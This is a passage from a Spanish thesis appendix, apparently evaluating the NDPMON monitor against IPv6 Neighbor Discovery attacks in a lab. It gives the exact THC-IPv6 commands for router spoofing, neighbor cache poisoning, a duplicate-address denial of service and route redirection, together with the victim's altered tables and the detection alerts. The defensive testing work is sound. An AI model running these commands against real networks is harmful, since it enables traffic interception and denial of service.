El equipo PC 1 es una estación de trabajo corriendo Windows XP. La configuración inicial de su interfaz se presenta en laTabla D.1. Su tabla de rutas antes de realizar las pruebas es mostrada en la Tabla D.2. La dirección IPv6 de este equipo es obtenida mediante configuración automática, a partir de los anuncios realizados por el “router”. Tabla D.1 Configuración inicial interfaz de red PC 1.
Adaptador Ethernet wired2 : Dirección IP. . . . . . . . . . . : 2800:270::211:95ff:fed1:a952 Dirección IP. . . . . . . . . . . : fe80::211:95ff:fed1:a952%4 90
Puerta de enlace predeterminada : fe80::216:46ff:fedc:6e9e%4
Tabla D.2 Tabla de rutas inicial PC 1.
::/0 -> 4/fe80::216:46ff:fedc:6e9e pref 256 duración 27m40s (configuración automática) 2800:270::/64 -> 4 pref 8 duración 29d23h57m40s (configuración automática) El “router” R1 mostrado en la Figura D.1 corresponde a un “router” envía mensajes RA a través de la interfaz FE 0/0
Cisco 2811. Este anunciando la red
2800:270::/64. La interfaz FE 0/0 posee además las dirección IPv6 local al enlace “fe80::12c3:2d2r:2”. En la se
muestra un extracto de su configuración.
Tabla D.3 Configuracion "router" Cisco 2811 (extracto).
! ipv6 unicast-routing ! interface FastEthernet0/0 no ip address ipv6 address 2800:270::1/64 ! ! interface FastEthernet0/1 no ip address ipv6 address 2800:300::1/64 ! El equipo “PC
Atacante” es una estación de trabajo ejecutando el sistema operativo
Ubuntu. Este equipo posee el juego de herramientas para ataques a redes IPv6 creado por la organización “The Hackers
Choice” [20].
El equipo “servidor NDPMON” es un servidor ejecutando FreeBSD con el software
NDPMON instalado. En la Tabla D.4 se presenta un extracto del archivo de configuración “/usr/local/etc/ndpmon/config_ndpmon.xml”, en donde se define a R1 como el único “router” autorizado en el enlace. Tabla D.4 Archivo de configuración de NDPMON (extracto).
00:16:46:DC:6E:9E fe80::216:46ff:fedc:6e9e 2800:270:: 91
D.2. Configuración automática de direcciones Con el fin de probar un ataque basado en la vulnerabilidad del proceso de configuración automática de direcciones, detallado en la sección8.2.1, en el equipo “PC Atacante” se ejecutó
el comando mostrado en laTabla D.5. En las tablas D.6 y
D.7 se observa el efecto que produce en el equipo “PC 1” , mientras que en la Tabla D.8 se observa la advertencia que genera en el software NDPMON. Tabla D.5 Ataque
de falsificación de “router”.
root@ubuntu:/home/ubuntu/thc-ipv6-0.7# ./fake_router6 eth0 fe80::666 2800:270::/64 1000 Starting to advertise router fe80::666 (Press Control-C to end) ...
Tabla D.6 Configuración interfaz PC 1 tras ataque.
Adaptador Ethernet wired2
:
Sufijo de conexión específica DNS : Dirección IP. . . . . . . . . . . : 2800:270::211:95ff:fed1:a952 Dirección IP. . . . . . . . . . . : fe80::211:95ff:fed1:a952%4 Puerta de enlace predeterminada : fe80::666%4 fe80::216:46ff:fedc:6e9e%4
Tabla D.7 Tabla de rutas PC 1 tras ataque.
18h12m10s (configuración automática) automática) ::/0 -> 4/fe80::216:46ff:fedc:6e9e 4/fe80::666 pref 16 duración ::/0 -> pref 256 duración 29m51s (configuración 2800:270::/64 -> 4 pref 8 duración infinite (configuración automática)
Tabla D.8 Alerta generada por NDPMON durante el ataque.
Warning: new lla 00:11:95:d1:a9:45 fe80:0:0:0:0:0:0:666 Sending mail alert ... Warning: wrong ipv6 router 00:11:95:d1:a9:45 fe80:0:0:0:0:0:0:666 Sending mail alert ...
92
D.3. Resolución de direcciones Con el fin de probar un ataque basado en la vulnerabilidad del proceso de resolución de direcciones, detallado en la sección8.2.2 más atrás, en el equipo “PC Atacante” se ejecutó el comando mostrado en laTabla D.9. En la Tabla D.10 se observa que el ataque causó que el equipo “PC 1” modificara su tabla de direcciones IPv6/MAC asociando una dirección MAC errónea a la IP 2800:270::1, correspondiente al “router” R1. En la
Tabla D.11 se observa la advertencia que se generó en el software
NDPMON. Tabla D.9 Ataque de resolución de direcciones.
root@ubuntu:/home/ubuntu/thc-ipv6-0.7# ./fake_advertise6 2800:270::1 ff02::1 0:0:0:6:6:6 Starting to advertisement of 2800:270::1 (Press Control-C to end) ...
Tabla D.10 Tabla de vecinos PC 1 tras ataque.
C:\>ipv6 nc 4 2800:270::1 4: 2800:270::1 00-00-00-06-06-06 sondeo Tabla D.11 Alerta g enerada por NDPMON durante el ataque.
Warning: new station 00:00:00:06:06:06 2800:270:0:0:0:0:0:1 Sending mail alert ...
D.4. Detección de direcciones duplicadas Con el fin de probar un ataque basado en la vulnerabilidad del proceso de resolución detección de direcciones duplicadas, detallado en la sección8.2.3 en el equipo “PC Atacante” se ejecutó el comando mostrado en la Tabla D.12. En la Tabla D.13 se observa que el ataque causó que el equipo “PC 1” no pudiera utilizar ninguna dirección IPv6, ya que el equipo “PC Atacante” hace parecer que dichas direcciones
ya están en uso. En laTabla D.14 se observa la advertencia que genera en el software NDPMON. Tabla D.12 Ataque de detección de direcciones duplicadas.
root@ubuntu:/home/ubuntu/thc-ipv6-0.7# ./dos-new-ip6 eth0 Started ICMP6 DAD Denial-of-Service (Press Control-C to end) ... Spoofed packet for existing ip6 as 2800:0270:0000:0000:e415:e5ab:ecb6:b9a0 93
Spoofed packet f or existing ip6 as 2800:0270:0000:0000:0211:95ff:fed1:a952 Spoofed packet f or existing ip6 as fe80:0000:0000:0000:0211:95ff:fed1:a952 Spoofed packet for existing ip6 as 2800:0270:0000:0000:f9e3:bc53:7014:082a Spoofed packet for existing ip6 as 2800:0270:0000:0000:8d60:7299:76ea:dda3 Tabla D.13 Tabla de vecinos PC 1 tras ataque.
c:\>ipv6 renew 4 Adaptador wired2 SufijoEthernet de conexión específica: DNS : Dirección IP. . . . . . . . . . . : Puerta de enlace predeterminada : fe80::216:46ff:fedc:6e9e%4 Tabla D.14 Alerta g enerada por NDPMON durante el ataque.
-----ND_NEIGHBOR_ADVERT ----New Ethernet DAD DoS --------------Warning: changed ethernet address 00:11:95:d1:a9:52 to 00:11:3b:64:e7:09 fe80:0:0:0:211:95ff:fed1:a952 Warning: dad dos 00:11:3b:64:e7:09 fe80:0:0:0:211:95ff:fed1:a952 Sending mail alert ... Warning: newalert station Sending mail ... 00:11:b7:81:6c:b3 2800:270:0:0:211:95ff:fed1:a952 Warning: dad dos 00:11:b7:81:6c:b3 2800:270:0:0:211:95ff:fed1:a952 Sending mail alert ...
D.5. Redirección Con el fin de probar un ataque basado en la vulnerabilidad del proceso de redirección, detallado en la sección8.2.3, en el equipo “PC Atacante” se ejecutó el comando mostrado en la Tabla D.15. El objetivo de dicho comando es modificar la tabla de rutas del equipo “PC 1” (IP:
2800:270::211:95ff:fed1:a952) con el fin de que todo los paquetes que envíe a la dirección 2800:300::1 tengan como próximo salto una dirección inexistente (fe80::666). Tabla D.15 Ataque de redirección.
root@ubuntu:/home/ubuntu/thc-ipv6-0.7# ./redir6 eth0 2800:270::211:95ff:fed1:a952 2800:300::1 fe80::216:46ff:fedc:6e9e fe80::666 El efecto en el equipo “PC 1” e s
inmediato, tal como se muestra en laTabla D.16.
Se observa una nueva ruta no válida para llegar a la dirección 2800:300:1. El programa NDPMON detecta una acción sospechosa en el enlace pero no es capaz de 94
identificar claramente a que se debe. En laTabla D.17 se muestra el mensaje de alerta que genera. Tabla D.16 Tabla de vecinos PC 1 tras ataque.
C:\>ipv6 rc 4 2800:300::1 2800:300::1 vía 4/fe80::666 (redirección) src 4/2800:270::fd95:1c07:5597:6188 PMTU 1500 94 segundos desde error ICMP Tabla D.17 Alerta g enerada por NDPMON durante el ataque.
Warning: new IP 00:11:95:d1:a9:45 2800:270:0:0:211:95ff:fed1:a945 Sending mail alert ...
95
